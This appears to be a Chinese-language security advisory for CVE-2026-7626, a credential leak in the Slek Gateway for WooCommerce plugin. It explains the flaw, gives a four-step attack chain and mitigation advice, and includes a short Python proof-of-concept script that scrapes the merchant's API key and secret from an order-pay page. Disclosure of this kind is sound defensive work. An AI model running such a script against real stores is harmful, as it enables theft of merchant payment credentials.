IPBUF安全漏洞报告
English
CVE-2026-7626 CVSS 5.3 中危

CVE-2026-7626 Slek Gateway插件信息泄露漏洞

披露日期: 2026-05-12

漏洞信息

漏洞编号
CVE-2026-7626
漏洞类型
信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Slek Gateway for WooCommerce

相关标签

信息泄露WordPressWooCommerceSlek Gateway插件漏洞

漏洞概述

WordPress插件Slek Gateway for WooCommerce在1.0版本中存在信息泄露漏洞。该漏洞源于`wsb_handle_slek_payment_redirect()`函数将商户的`slek_key`和`slek_secret` API凭证直接放置在客户端HTML表单中,并将`slek_secret`作为明文GET参数嵌入IPN回调URL中。未经身份认证的攻击者可以通过在受影响的商店下订单,并在JavaScript自动提交触发前查看WooCommerce订单支付页面的HTML源代码或使用浏览器开发者工具,从而提取商户的API凭证。

技术细节

该漏洞发生在插件处理支付重定向的流程中。具体而言,`wsb_handle_slek_payment_redirect()`函数在生成支付页面时,错误地将敏感的商户API密钥(`slek_key`和`slek_secret`)硬编码到了客户端的HTML表单代码中。此外,`slek_secret`还被直接拼接在IPN(即时支付通知)回调URL的GET参数中,且未做任何加密处理。由于这些数据直接暴露在浏览器端,任何能够在目标网站下单的攻击者(无需管理员权限),都可以在访问订单支付页面时,通过拦截网络请求或查看页面源代码的方式,直接获取这些明文凭证。获取凭证后,攻击者可能冒充商户进行恶意操作或窃取交易数据。此漏洞的核心问题在于将服务端敏感凭证不当暴露给不可信的客户端环境。

攻击链分析

STEP 1
步骤1
攻击者在目标WordPress商店注册账户并下单购买商品。
STEP 2
步骤2
攻击者访问生成的订单支付页面(order-pay页面)。
STEP 3
步骤3
在页面JavaScript自动提交表单跳转之前,攻击者查看网页HTML源代码或使用浏览器开发者工具。
STEP 4
步骤4
攻击者从HTML表单或URL参数中提取明文的`slek_key`和`slek_secret`。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests from bs4 import BeautifulSoup # Proof of Concept: Extract Slek API credentials from the order-pay page # The attacker creates an order and navigates to the order-pay page. target_url = "http://target-site.com/checkout/order-pay/123/?key=wc_order_xxxx" # Simulate visiting the order pay page response = requests.get(target_url) if response.status_code == 200: soup = BeautifulSoup(response.text, 'html.parser') # Extract credentials from hidden input fields in the HTML form # Based on the description, these are placed directly in the form slek_key_input = soup.find('input', {'name': 'slek_key'}) slek_secret_input = soup.find('input', {'name': 'slek_secret'}) if slek_key_input and slek_secret_input: print(f"[+] Slek Key found: {slek_key_input.get('value')}") print(f"[+] Slek Secret found: {slek_secret_input.get('value')}") else: # Check for secrets in GET parameters within script tags or links if not in form print("[-] Credentials not found in form inputs, checking source code...") if "slek_secret" in response.text: print("[+] Potential secret exposure found in page source.") else: print(f"[-] Failed to retrieve page. Status code: {response.status_code}")

影响范围

Slek Gateway for WooCommerce 1.0

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用Slek Gateway for WooCommerce插件,停止接收通过该网关的支付,直到应用补丁。同时,必须撤销并重新生成所有受影响商户的API密钥,以防止攻击者利用泄露的凭证进行未授权操作。

参考链接